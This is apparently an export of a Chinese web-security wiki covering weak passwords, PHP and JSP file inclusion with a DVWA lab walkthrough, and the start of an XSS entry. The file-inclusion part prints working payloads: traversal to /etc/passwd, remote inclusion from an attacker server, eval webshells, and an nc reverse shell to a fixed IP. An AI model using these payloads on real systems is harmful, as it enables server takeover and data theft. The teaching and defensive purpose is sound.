加密存储对重要数据,不在表单中明文存储,而选择加密存储. 限制数据库权限和特权最小化权限原则.将数据库用户的功能设置为最低要求; 这将限制攻击者在设法获取访问权限时可以执行的操作."},{"title":"二. 弱口令","path":"/wiki/VulnerabilityInsightDocs/二. 弱口令.html","content":"总字符数: 2.22K 代码: 无, 文本: 1.92K 预计阅读时间: 8 分钟 漏洞介绍 弱口令是信息系统中常见的安全漏洞之一,其主要特征是登录口令的强度不足,容易受到攻击者的猜测或破解. 以下是一些常见的弱口令形式和可能导致弱口令的原因: 系统出厂默认口令: 在某些情况下,系统或设备出厂时预设了默认的登录口令,如果管理员没有及时更改这些默认口令,就容易成为攻击目标. 密码设置过于简单: 口令长度不足、过于简单,只包含数字或字母的组合,或者使用常见的单词、短语,都增加了口令被猜测或破解的风险. 使用易猜测的信息: 如果口令中包含容易被他人获取或猜测的信息,如生日、姓名、电话号码、身份证号码等,那么这样的口令也容易受到攻击. 流行口令的使用: 有些人倾向于使用流行口令,这些口令可能存在于密码字典或口令库中,攻击者可以通过破解工具快速尝试这些常见口令. 弱口令的存在会增加系统被未经授权访问或攻击的风险,因此在信息安全管理中,加强口令策略、提高用户和管理员的安全意识是至关重要的. 漏洞危害绝大多数企业有一定用户数,对安全密码复杂对没有安全基准或落实不到位,都会存在弱密码,会看似符合 密码复杂度要求的密码,其实是是弱密码如P@ssw0rdwer!@#$等,暴力破解和弱密码最终都是导致用户身份认证失效,系统可能是基于角色或用户做授权的. 获取敏感信息: 攻击者成功破解用户密码后,可以登录系统并查看用户的敏感信息,包括个人资料、私人文件、以及可能存储在系统中的敏感数据. 进行钓鱼攻击: 破解成功后,攻击者可能利用用户的合法权限进行钓鱼攻击.这包括发送虚假的电子邮件、信息或链接,以诱使用户提供更多敏感信息或执行恶意操作. 控制整个站点: 如果攻击者能够破解管理员密码,他们可能获得对整个系统的控制权.这将使攻击者有可能查找系统中的其他漏洞,甚至篡改系统设置、上传恶意代码等. 批量获取用户账号密码: 攻击者可以利用弱密码进行批量攻击,获取大量用户的账号密码.这对网站和用户都构成了较大威胁,尤其是如果用户在多个平台上使用相同的密码. 进一步渗透: 一旦攻击者获得了初始权限,他们可能进一步尝试在系统中寻找其他弱点或漏洞,以扩大攻击范围,例如通过尝试提升权限、横向移动等手段. 通过邮箱攻击: 如果攻击者能够暴力破解用户的邮箱密码,他们可以获取通信录等信息,从而了解更多关于用户和组织的内部情况,为后续攻击提供更多资料. 防护方法 多因素认证: 尽管可能影响用户体验,但在关键系统和敏感操作中使用多因素认证是非常有效的安全措施.它提供了额外的安全层,即使密码泄漏,攻击者也需要其他因素才能成功登录. 验证码: 验证码是常见而有效的防御手段,尤其是对于防范自动化攻击.它可以有效降低暴力破解的成功率,但确实可能对用户体验产生一定影响. 频率限制: 对登录尝试次数进行限制是一种有效的防御手段,可以减缓暴力破解尝试的速度.结合账号锁定和IP封禁机制,可以进一步提高安全性. 安全加固及监控: 对系统进行安全加固,使用入侵防御系统(IPS)等技术进行实时监控,有助于及时发现并阻止潜在的攻击行为. Token: 使用令牌(Token)可以增加一定程度上的安全性,特别是对于防范重放攻击和CSRF(跨站请求伪造)攻击.确保令牌的有效性和随机性是重要的. 不明确返回信息: 不明确返回用户账号是否存在或密码错误,是一种减缓暴力破解的手段,因为攻击者无法通过错误信息得知他们的猜测是否正确. 密码策略: 禁用常见的弱密码,强制用户采用复杂的密码,以及定期修改密码策略都是有效的密码管理措施. 设置密码通常遵循的原则 密码长度: 选择8到26位的密码长度是一个不错的范围,更长的密码通常更安全.长密码可以提供更大的组合可能性,增加暴力破解的难度. 字符要求: 要求密码包含不同种类的字符,如大写字母、小写字母、数字和特殊字符,是密码安全的基本原则.这样的要求增加了密码的复杂性,降低了被猜测或破解的概率. 避免包含用户名: 禁止使用用户名或用户名的逆序是防范密码猜测和社会工程攻击的一种重要手段.攻击者通常会尝试使用用户的个人信息来猜测密码. 避免连续字符: 禁止使用连续相同的字符或连续的某个字符是为了防范简单而容易被猜测的密码. 不包含特殊内容: 禁止包含个人信息或与用户相关的信息是为了降低密码被社会工程攻击或猜测的风险. 不使用数字或符号代替字母: 避免使用类似将字母’O’替换为数字’0’的方法,因为这样的替换容易被猜测. 定期更换口令: 要求用户定期更换口令是为了降低长期有效的口令被滥用的风险.定期更换密码可以确保即使密码泄露,也能够限制攻击者的窗口期. 以上原则是一个综合的密码管理方案,结合多因素认证等安全措施,可以更全面地提高系统的安全性.不过,在实施这些原则时,也需要考虑用户体验,以确保安全措施不会过于繁琐,影响用户的正常使用."},{"title":"七. 文件包含","path":"/wiki/VulnerabilityInsightDocs/七. 文件包含.html","content":"总字符数: 21.17K 代码: 6.31K, 文本: 7.43K 预计阅读时间: 60 分钟 什么是文件包含? 开发人员将可重复使用的内容写到单个文件中,使用时直接调用此文件. 文件包含在PHP中非常常用,可以实现代码的模块化和重用.比如,将一些公共的函数或类单独放在一个文件中,在需要使用的时候通过文件包含即可使用这些函数或类,避免了重复编写代码的问题. 文件包含123456789101112131415161718192021222324252627282930313233343536373839<?php// 初始化 HTML 变量$html = '';// 检查是否提交表单且文件名不为空if (isset($_GET['submit']) && $_GET['filename'] != null) { // 获取文件名 $filename = $_GET['filename']; // 直接包含文件,存在安全风险,可能导致文件包含漏洞 include "$filename"; // 安全的写法,使用白名单,严格指定包含的文件名 // if ($filename == 'file1.php' || $filename == 'file2.php' || $filename == 'file3.php' || $filename == 'file4.php' || $filename == 'file5.php') { // include "$filename"; // }}?><div class="main-content"> <div class="main-content-inner"> <div class="breadcrumbs ace-save-state"> <h1>本地文件包含</h1> </div> <div class="page-content"> <div> <p>请输入一个路径</p> <form method="get"> <!-- 输入文件名的文本框 --> <input type="text" name="filename" placeholder="输入文件名" /> <!-- 提交按钮 --> <input class="sub" type="submit" name="submit" /> </form> <?php echo $html; ?> </div> </div> </div></div> 文件包含漏洞 开发人员追求代码灵活性,有时将包含的文件设置为变量,以实现动态调用.然而,这种灵活性可能导致攻击者调用恶意文件,产生文件包含漏洞. 文件包含漏洞(File Inclusion Vulnerability)是一种常见的网络安全漏洞,主要指的是Web应用程序未正确过滤用户提供的输入,使攻击者能够在应用程序中执行任意代码. 攻击者可通过文件包含漏洞访问不应公开访问的文件,包括系统文件和应用程序文件.如果攻击者成功获取敏感数据,如密码文件或数据库凭据,就能利用这些信息展开更广泛的攻击. 文件包含漏洞是一种代码注入漏洞,它引入了文件包含函数,通过这些函数将文件直接包含到代码中,以减少重复编写.简而言之,一个php文件包含了另一个或多个其他文件. 然而,问题在于除了包含常规的代码文件外,文件包含函数还会执行任意后缀的文件.如果允许用户控制包含文件路径的地方,就可能包含非预期的文件,进而执行非预期的代码,导致安全漏洞,比如getshell. 虽然几乎所有的脚本语言都提供文件包含功能,但文件包含漏洞在PHP Web应用程序中较为常见,而在JSP、ASP等语言中很少甚至没有这类问题,这主要是由于语言设计的弊端.因此,后续的说明将主要以PHP为例. 利用条件: include等函数通过动态执行变量的方式引入需要包含的文件 用户能控制输入,并控制该变量 **最常见的文件包含漏洞类型是本地文件包含漏洞(LFI)和远程文件包含漏洞(RFI). ** 本地文件包含(LFI)在文件包含漏洞的利用过程中,Web应用程序调用了本地(服务器上)的文件,称作本地文件包含 123target.xxx?file=/etc/hosts# 还可以加一些不存在的目录名,进行穿越、绕过target.xxx?file=/etc/sadasdsajhdasjd/hosts 远程文件包含(RFI)远程文件包含漏洞指的是Web应用程序在处理用户输入时,将用户提供的数据作为URL参数,未进行合理的过滤和验证.攻击者可以通过构造恶意的URL,使应用程序加载并执行攻击者指定的远程脚本,导致Web应用程序遭受攻击. 这些远程文件通常以 HTTP 或 FTP URI 的形式获取 12# eval.php<?php file_put_contents('shell.php','<?php eval($_POST["A"]);?>');?> 1target.xxx?file=http://hacker_server/evil.php 额外要求要产生远程文件包含漏洞,在使用了特定函数和权限控制不严谨外,include,require等包含函数还必须可以加载远程文件 PHP的配置文件allow_url_fopen和allow_url_include设置为ON 1234# 是否允许打开远程文件allow_url_fopen = On# 是否允许include/require远程文件allow_url_include = On 文件包含漏洞产生的原因文件包含漏洞通常是由于开发人员未充分验证和过滤用户输入,或者未正确使用文件包含函数而导致的.具体原因包括: 盲目相信用户输入: 开发人员在使用文件包含函数时,通常会将某个文件包含到当前 PHP 文件中以便代码复用.但如果没有对用户输入进行验证和过滤,攻击者可以通过构造恶意输入利用文件包含漏洞. 使用相对路径: 如果开发人员在使用文件包含函数时采用相对路径而非绝对路径,攻击者可以利用路径遍历漏洞来访问应用程序以外的文件或目录,从而实现文件包含漏洞. 盲目信任第三方代码: 如果开发人员使用第三方代码库,但未对这些代码进行充分审计和验证,就可能存在文件包含漏洞. 系统配置不当: 如果系统配置不当,例如允许用户上传文件并执行,就会增加文件包含漏洞的风险. 文件包含漏洞的危害文件包含漏洞是一种常见的安全漏洞,攻击者可通过该漏洞读取或执行恶意代码,对系统造成以下危害: 数据泄露: 攻击者可利用文件包含漏洞读取应用程序的配置文件、日志文件、数据库凭据等敏感信息,导致用户数据泄露. 恶意代码执行: 攻击者可通过文件包含漏洞执行恶意代码,例如执行系统命令、注入恶意脚本、下载和运行恶意软件等,从而获得对系统的控制权(获取 webshell). 拒绝服务攻击: 攻击者可利用文件包含漏洞对系统进行拒绝服务攻击,发送大量请求占用系统资源,导致系统崩溃. 提权攻击: 攻击者可通过文件包含漏洞提升自身权限,访问系统文件、修改系统设置等,获取更高权限. 综上所述,文件包含漏洞的危害极为严重,可能导致数据泄露、恶意代码执行、拒绝服务攻击、提权攻击等严重后果.为规避文件包含漏洞,应采取多种措施,包括验证和过滤用户输入数据、使用绝对路径、不将用户输入作为代码执行、使用白名单机制、禁止远程文件包含和使用安全编码实践等.这些措施有助于提高系统的安全性. 文件包含漏洞通常与以下函数有关: include()函数:该函数会将指定文件包含到当前 PHP 文件中,并且执行包含的文件中的 PHP 代码.如果攻击者能够控制include()函数的参数,就可以注入恶意代码并执行,从而利用文件包含漏洞. require()函数:该函数与include()函数类似,也会将指定文件包含到当前PHP文件中,并且执行包含的文件中的 PHP 代码.如果攻击者能够控制require()函数的参数,就可以注入恶意代码并执行,从而利用文件包含漏洞. include_once()和require_once()函数:这两个函数与include()函数和require()函数类似,也会将指定文件包含到当前 PHP 文件中,并且执行包含的文件中的 PHP 代码. 不同之处在于,如果文件已经被包含过,则不会再次包含.攻击者可以利用这两个函数的特性,通过改变包含文件的路径,来实现文件包含漏洞. realpath()函数:该函数可以将相对路径转换为绝对路径,攻击者可以利用这个函数来实现路径遍历漏洞,从而访问应用程序以外的文件或目录. 综上所述,文件包含漏洞通常与include()函数、require()函数、include_once()和require_once()函数、realpath()函数等相关. 在编写 PHP 代码时,应该避免将用户输入作为这些函数的参数,或者在使用这些函数前,对参数进行验证和过滤,以避免文件包含漏洞的发生. 文件包含漏洞的防御 验证和过滤用户输入数据: 在读取文件名或路径时,要验证数据的合法性,只允许特定字符和路径,对输入数据进行过滤,如去除包含特殊字符的文件名、过滤不允许访问的目录等. 使用绝对路径: 建议使用绝对路径而非相对路径,以避免攻击者利用路径穿越漏洞访问应用程序以外的文件. 避免将用户输入作为代码执行: 不要将用户输入的数据直接传递给eval()、include()、require()等函数,以免攻击者注入恶意代码改变程序行为. 使用白名单机制: 为文件和目录设置白名单机制,只允许访问指定文件或目录,预防攻击者通过路径遍历漏洞访问应用程序以外的文件或目录. 禁止远程文件包含: 如果必须使用include()函数包含远程文件,设置allow_url_include参数为 0,避免远程文件被执行. 使用安全编码实践: 采用安全编码实践,例如输入验证、参数化查询、错误处理等,以降低漏洞风险. 文件包含漏洞是常见的安全漏洞,攻击者通过该漏洞可读取或修改应用程序、系统文件和配置文件,执行任意系统命令,对系统造成威胁.为了防范文件包含漏洞,应该综合采取以上多种措施,提高系统的安全性. DVWA靶场实战打开DVWA文件包含页面(File Inclusion) 我们发现,当我们点击file1.php时,对应的URL的page的值变为file1.php,同时Web应用执行file1.php文件的源代码; 1http://dvwa_ip/vulnerabilities/fi/?page=file1.php 当我们点击file2.php时,对应的URL的page的值变为file2.php,同时Web应用执行file2.php文件的源代码; 1http://dvwa_ip/vulnerabilities/fi/?page=file2.php 当我们点击file3.php时,对应的URL的page的值变为file3.php,同时Web应用执行file3.php文件的源代码. 1http://dvwa_ip/vulnerabilities/fi/?page=file3.php 由此可知,当我们在目标URL的page值后添加某个存在的文件名时,Web应用程序会相应的包含此文件.并且会将该文件(无论后缀名)作为PHP代码执行. low看一下源码 12345<?php// The page we wish to display$file = $_GET[ 'page' ];// 通过get请求把page参数的值传入file变量?> Web应用程序定义了一个变量page,将用户输入的值作为page变量的值,同时将其赋值给file变量.最后,Web应用程序通过对file变量的引用来实现文件的包含功能. DVWA的low级别一般是不带有任何防护的, 没有对输入的page变量的值执行任何过滤措施,如果我们输入那些系统不希望用户看见任何信息的文件的文件名,并赋值给page变量.那么Web应用程序就会产生文件包含漏洞,系统的敏感信息就会被泄露. payload1:本地–利用相对路径(许多个../就一定会来到根目录)1../../../../../../../../../../../../../../../../etc/passwd payload2:本地–利用绝对路径1/etc/passwd payload3:远程包含由于DWVA的环境,Web应用可以包含远程文件 1http://localhost/DVWA/vulnerabilities/fi/?page=http://10.10.10.13:8080/phpinfo.txt medium直接上源码 123456789101112<?php// The page we wish to display$file = $_GET[ 'page' ];// 依旧是通过get请求把page参数的值传入file变量// Input validation$file = str_replace( array( "http://", "https://" ), "", $file );//将file变量中的http://和https://替换为空$file = str_replace( array( "../", "..\\\\" ), "", $file );//同理,将file变量中的../和..\\\\替换为空//但是捏,它只替换了一次且只替换全小写的内容,也就意味着可以通过双写或大小写绕过?> payload1:本地–绝对路径 如果我们不使用../与..\\这两个关键词,而是直接访问根目录下的用户信息文件/etc/passwd . 由于Web应用程序的过滤很不严谨,并没有对根目录/执行过滤,所以系统不能过滤我们输入的payload,那么Web应用程序将成功包含文件/etc/passwd,并直接暴露其源代码.即我们构造的payload成功的绕过了Web应用程序的防御机制. 1/etc/passwd payload2:远程–双写绕过1hthttp://tp://server/file payload3:远程–大小写绕过1hTtp://server/file payload4:远程本地皆可–使用http/https外的协议1file:///etc/passwd high看源码 12345678910111213141516<?php// The page we wish to display// 日常通过get请求把page参数的值传入file变量$file = $_GET[ 'page' ];// Input validation//如果file变量的开头不是file且file的值不为include.php//就提示找不到文件并退出程序if( !fnmatch( "file*", $file ) && $file != "include.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit;}?> 补充一个知识点: fnmatch() 函数的作用是根据指定的模式来匹配文件名或字符串.语法为:fnmatch(pattern,string,flags) 各个参数解释如下: pattern 必需.规定要检索的模式. string 必需.规定要检查的字符串或文件. flags 可选. 它是可选的参数表,用于指定标志或标志的组合.这些标志可以是以下标志的组合: FNM_PATHNAME:用于指定字符串中的斜线仅匹配给定模式中的斜线. FNM_NOESCAPE:用于禁用反斜杠转义. FNM_CASEFOLD:用于无 shell 匹配. FNM_PERIOD:用于指定字符串中的前导期间必须与给定模式中的期间完全匹配. high模式中进行了更为安全的白名单过滤,因此现在包含的东西必须要以file开头了 payload1:file协议1file:///etc/passwd Getshelldata协议反弹Shell12345678# 第一步:使用data写一小段PHP代码,可以接收参数<?php $var=shell_exec($_GET['cmd']);?># 第二步,Base64之后结合data协议data://text/plain;base64,PD9waHAgJHZhcj1zaGVsbF9leGVjKCRfR0VUWydjbWQnXSk7Pz4=# 第三步传入需要反弹shell的命令,让PHP代码去执行&cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh 2>&1|nc 192.168.56.102 6666 >/tmp/f# 第四步结合在一起并且URL编码data%3A//text/plain%3Bbase64%2CPD9waHAgJHZhcj1zaGVsbF9leGVjKCRfR0VUWydjbWQnXSk7Pz4%3D&cmd=rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f%7C/bin/sh+2>%261%7Cnc+127.0.0.1+6666+%3E/tmp/f session与文件包含漏洞的结合条件 session的存储位置可以获取(phpinfo页面一般可以获取) session中的内容可以被控制,传入恶意代码 分析12345<?phpsession_start();$ctfs=$_GET['ctfs'];$_SESSION["username"]=$ctfs;?> 我们发现此php会将获取到的GET型ctfs变量的值存入到session中,也就是可以控制session中的内容 我们通过phpinfo页面发现了session的存储路径/var/lib/php/session 当访问http://ip/path/ctfs.php?ctfs=test 后,会在/var/lib/php/session目录下存储session的值. session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取. 所以session的文件名为sess_iln6toir7r2t9su7ujnsfolb35 去服务器上查看,果然有该文件 利用通过上面的分析,可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell. 1http://ip/path/ctfs.php?ctfs=%3C?php%20@eval($_POST['shell'])?%3E 当访问以上链接的时候,Web应用会在/var/lib/php/session目录下存储session的值(同时我们的webshell也被存进去了) 通过前端推测session储存的文件名sess_p44b454elq0mfe2vopqvfm7m37 通过文件包含的漏洞解析恶意代码 1http://ip/path/include.php?filename=/var/lib/php/session/sess_p44b454elq0mfe2vopqvfm7m37 通过webshell工具连接(方便使用你的shell) 我本地使用的是AntSword 思考实际上你只需把shell写到一个Web应用能访问的位置并利用文件包含漏洞进行解析就可以 这个写入的文件可以不考虑后缀,反正最后会被解析成PHP 包含日志文件前提条件:要知道服务器日志的存储路径,且日志文件可读. 服务器一般回在Web Server的access_log里记录客户端的请求信息,在error_log里记录出错信息.所以攻击者可以间接地将PHP代码写入日志文件,在文件包含时,只需要包含日志文件即可. 但如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析.可以使用burp截包后修改. 正常的PHP代码已经写入了 D:\\phpStudy\\PHPTutorial\\Apache\\logs\\error.log.然后进行包含即可. 1http://192.168.91.134/include.php?test=D:\\phpStudy\\PHPTutorial\\Apache\\logs\\error.log 正常服务器中的日志文件位置: 12/var/log/nginx/access.log/var/log/apache2/access.log 包含SSH log**条件:**需要知道ssh-log的位置,且可读.默认情况下为 /var/log/auth.log 12# 用ssh连接ssh <?php phpinfo();?>@192.168.91.149 这是在服务器上的auth.log文件上就会记录下如下内容: 再进行文件包含即可: 包含environproc/self/environ中会保存user-agent头.如果在user-agent中插入php代码,则php代码会被写入到environ中.之后再包含它,即可. 条件: php以cgi方式运行,这样environ才会保持UA头. environ文件存储位置已知,且environ文件可读. 1?file=../../../../../../../proc/self/environ 在访问的时候抓包把user-agent修改为<?php phpinfo();?>即可. 这个没有尝试成功,这一个文件似乎没有user-agent??? 包含临时文件以上这些方法都要求PHP能过包含这些不处于Web目录下的文件,如果PHP设置了open_basedir,则很可能会使得攻击失效. php中上传文件,会创建临时文件.在linux下使用/tmp目录,而在windows下使用c:\\winsdows\\temp目录.在临时文件被删除之前,利用条件竞争即可包含该临时文件. 由于包含需要知道包含的文件名.一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535种不同的文件名,所以这个方法是可行的. 或者利用phpinfo能查看临时文件名字的方法去进行利用: PHP LFI 利用临时文件 Getshell 姿势 PHP文件包含漏洞(利用phpinfo) 文件包含漏洞常见绕过技巧00字符截断 PHP版本<=5.3.4 magic_quotes_gpc = Off 1file=../../etc/passwd%00 123<?phpinclude($_GET['a'].'.php')?> 这里固定了后缀名为php,可以使用截断的方式来访问我们想要的文件. 1?a=info.php%00 %00会被解析为0x00,所以导致截断的发生 我们通过截断成功的绕过了后缀限制 路径长度截断 php版本小于5.3.10 文件路径有长度限制,目录字符串在Windows下256字节、Linux下4096字节时,会达到最大值,最大值之后的字符被丢弃. 123././././././././././././abc..........//////////////////abc.........../1/abc../1/abc../1/abc........ 就是在后面接很多个.,让后面的后缀抛弃掉. 目录遍历可以使用../../../这样的方式来返回到上层目录中,这种方式又被称为”目录遍历(Path Traversal)“.常见的目录遍历漏洞,还可以通过不同的编码方式来绕过一些服务器端的防御逻辑(WAF) : 12345678%2e%2e%2f -> ../%2e%2e/ -> ../..%2f -> ../%2e%2e%5c -> ..\\%2e%2e%\\ -> ..\\..%5c -> ..\\%252e%252e%255c -> ..\\..%255c -> ..\\ URL绕过假设服务器后端给我们传入的文件加了指定的后面的内容,可以使用以下的方法进行绕过,假设后端给传入的内容拼接上/test/test.php query(?)1?file=http://remoteaddr/remoteinfo.txt? 则包含的文件为 http://remoteaddr/remoteinfo.txt?/test/test.php 问号后面的部分/test/test.php,也就是指定的后缀被当作query从而被绕过. fragment(#)1?file=http://remoteaddr/remoteinfo.txt%23 则包含的文件为http://remoteaddr/remoteinfo.txt#/test/test.php 问号后面的部分/test/test.php,也就是指定的后缀被当作fragment从而被绕过.注意需要把#进行url编码为%23. require_once绕过重复包含文件原理:php源码分析 require_once 绕过不能重复包含文件的限制 (太长看不懂系列) PHP最新版的小Trick, require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含 /proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过. 12345678910root@ubuntu:/var/log/apache2# cd /proc/self/root/root@ubuntu:/proc/self/root# lsbin dev home lib media proc sbin swapfile tmp vmlinuzboot etc initrd.img lib64 mnt root snap sys usr vmlinuz.oldcdrom flag initrd.img.old lost+found opt run srv test varroot@ubuntu:/proc/self/root# cd /root@ubuntu:/# lsbin dev home lib media proc sbin swapfile tmp vmlinuzboot etc initrd.img lib64 mnt root snap sys usr vmlinuz.oldcdrom flag initrd.img.old lost+found opt run srv test var 可以看到这里/proc/self/root/和/指向的目录是一样的. example: 1?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php 这样就可以绕过require_once()只能包含一次相同文件的限制. php://filter绕过exit有时候后端会对我们输入的代码前面加上一段exit()函数,使得我们写入的代码无法执行,这时候如果可以使用php://filter伪协议对内容进行编码解码,即可绕过 详见:php://filter的妙用 文件包含漏洞常见的伪协议 文件包含漏洞常常是由于应用程序对用户输入的文件路径参数没有充分验证和过滤,而导致攻击者可以构造特殊的文件路径参数来读取、执行或包含应用程序中的敏感文件.攻击者可以利用多种伪协议来构造恶意的文件路径参数,以下是常见的伪协议: php:// 输入输出流PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器. php://filter 元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写. 用法1php://filter/read=convert.base64-encode/resource=你要读取的东西 过程1http://ip/path/include.php?filename=php://filter/read=convert.base64-encode/resource=你要读取的东西 如果在某些场合发现明明存在文件包含漏洞但是某些东西无法读取的话, 可以base64编码解决 条件只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include; phar://伪协议这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压. 用法12?file=phar://压缩包/内部文件phar://../../../phpinfo.zip/phpinfo.jpg 注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用. 过程写一个php文件,然后用zip压缩为zip文件,然后将后缀改为png等其他格式,然后传入服务器. 然后再通过文件上传漏洞和phar://伪协议解析 同理,也可以通过这种思路进行getshell, 将php文件中的phpinfo的代码改为一句话木马即可 1<?php @eval($_POST['shell'])?> zip伪协议zip伪协议和phar协议类似,但是用法不一样. 用法1file=zip://[压缩文件]#[压缩文件内的子文件名] 条件PHP > =5.3.0 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符. 过程依旧是先上传,再利用文件包含漏洞进行解析 1http://ip/path/include.php?filename=zip://info.jpg%23info.php 和phar一样,可shell php://input可以访问请求的原始数据的只读流.即可以直接读取到POST上没有经过解析的原始数据. enctype=”multipart/form-data” 的时候 php://input 是无效的. 用法1?file=php://input 数据利用POST传过去. 条件php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行. 过程如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马 1<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?> 注意:当前目录Web应用工作的用户必须要有写权限,否则写不了 发送POST包 123POST /test/include.php?filename=php://input HTTP/1.1<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?> 然后用你的Webshell工具连接即可 REFhttps://www.php.cn/php-weizijiaocheng-481803.html 补充:系统中的敏感路径常见的敏感路径: Windows C:\\boot.ini 查看系统版本 C:\\windows\\system32\\inetsrv\\MetaBase.xml IIS 配置文件 C:\\windows\\repair\\sam 存储windows系统初次安装的密码 C:\\Program Files\\mysql\\my.ini mysql 配置 C:\\Program Files\\mysql\\data\\mysql\\user.MYD Mysql root C:\\windows\\php.ini php 配置信息 C:\\windows\\my.ini mysql 配置文件 UNIX/Linux /etc/passwd /usr/local/app/apache2/conf/httpd.conf apache2 默认配置文件 /usr/local/app/apache2/conf/extra/httpd-vhosts.conf 虚拟网站设置 /usr/local/app/php5/lib/php.ini PHP 相关配置 /etc/httpd/conf/httpd.conf apache /etc/php5/apache2/php.ini ubuntu 系统的默认路径 日志默认路径 apache+Linux 日志默认路径/etc/httpd/logs/access_log或者/var/log/httpd/access_log apache+win2003 日志默认路径D:\\xampp\\apache\\logs\\access.log, D:\\xampp\\apache\\logs\\error.log IIS6.0+win2003 默认日志文件C:\\WINDOWS\\system32\\Logfiles IIS7.0+win2003 默认日志文件%SystemDrive%\\inetpub\\logs\\LogFiles nginx 日志文件日志文件在用户安装目录 logs 目录下,以我的安装路径为例/usr/local/nginx,那我的日志目录就是在/usr/local/nginx/logs里 web 中间件默认配置 apache+linux 默认配置文件/etc/httpd/conf/httpd.conf或者index.php?page=/etc/init.d/httpd IIS6.0+win2003 配置文件C:/Windows/system32/inetsrv/metabase.xml IIS7.0+WIN 配置文件C:\\Windows\\System32\\inetsrv\\config\\applicationHost.config P.S. burp的intruder里面自带一些路径 Javaweb:文件包含(扩展)以为只有PHP中存在文件包含漏洞? 不不不~~ :) 实际上只要存在文件包含的功能,无论语言都有可能存在这样的问题, 而且利用的逻辑基本上是相同的 漏洞复习在目标机器上起一个Tomcat环境 新建一个test.jsp, 输入以下代码搭建一个简单的javaweb文件包含漏洞环境 123456789<!--输出提示--><%out.println("Input your payload as GET parameter 'payload'");%><br><%out.println("Output: ");%><br><!--获取payload参数内容传入变量payload--><%String payload = request.getParameter("payload");%><!--包含变量payload内的内容--><jsp:include page="${param.payload}" /> 给payload参数传你想要包含的路径 1http://ip:8080/path/test.jsp?payload=文件名 在test.jsp的相同目录新建一个1.jsp 12345678910111213<%@ page import="java.util.*,java.io.*"%><%Process p;p = Runtime.getRuntime().exec("操作系统命令");OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine();while ( disr != null ) { out.println(disr); disr = dis.readLine();}%> 然后访问 1http://ip:8080/path/test.jsp?payload=1.jsp 让1.jsp被包含 注意事项在本实验中被包含文件后缀会被识别,不会强制当成jsp代码执行,另外一种包含的方式<%@include file='文件'%>可以…但是file后面的东西必须是字符串,不能是变量,因此无法造成文件包含漏洞… 由此可见,Javaweb在这方面的安全性比PHP会高一些 总结文件包含漏洞是一种常见的Web应用程序安全漏洞,它可以导致攻击者能够访问敏感文件、执行任意代码或获取系统权限.攻击者可以利用这些漏洞在Web服务器上执行恶意代码,获取系统权限,并在服务器上进行不良操作. 文件包含漏洞的根本原因是没有正确地对用户输入进行过滤和验证,或者没有正确地处理文件路径.为了防止文件包含漏洞,开发人员应该采取一些最佳实践,例如使用白名单而不是黑名单、验证输入和转义特殊字符等. 在Web应用程序的设计和开发过程中,开发人员应该始终考虑安全性,并确保采用了最佳的安全实践.对于现有的Web应用程序,开发人员应该对其进行安全评估,以识别并修复可能存在的漏洞.最后,定期更新服务器上的软件和操作系统以及应用程序代码,以确保Web应用程序的安全性."},{"title":"五. XSS跨站脚本","path":"/wiki/VulnerabilityInsightDocs/五. XSS跨站脚本.html","content":"总字符数: 22.14K 代码: 9.82K, 文本: 5.29K 预计阅读时间: 1.09 小时 XSS概念 ​\tXSS又叫CSS (Cross Site Script) ,跨站脚本攻击. ​\t它指的是攻击者往Web页面里插入恶意js代码,当用户浏览该页面的时候,嵌入Web其中的html代码就会被执行,从而达到恶意攻击用户的特殊目的. ​\t在XSS攻击中,一般有三个角色参与:攻击者、目标服务器、受害者的浏览器. ​\t由于有的服务器并没有对用户的输入进行安全方面的验证,攻击者就可以很容易地通过正常的输入手段,夹带进一些恶意的HTML脚本代码. ​\t当受害者的浏览器访问目标服务器上被注入恶意脚本的页面后,由于浏览器对目标服务器的信任,这段恶意脚本的执行不会受到什么阻碍. ​\t此时,攻击者的目的就已经达到了. XSS指的是跨站脚本攻击,也叫跨站脚本漏洞. 跨站脚本攻击发生在客户端,可被用于进行窃取隐私、钓鱼欺骗、窃取密码、传播恶意代码、植马挖矿、刷流量、劫持后台、篡改页面、内网扫描、制造蠕虫等攻击. 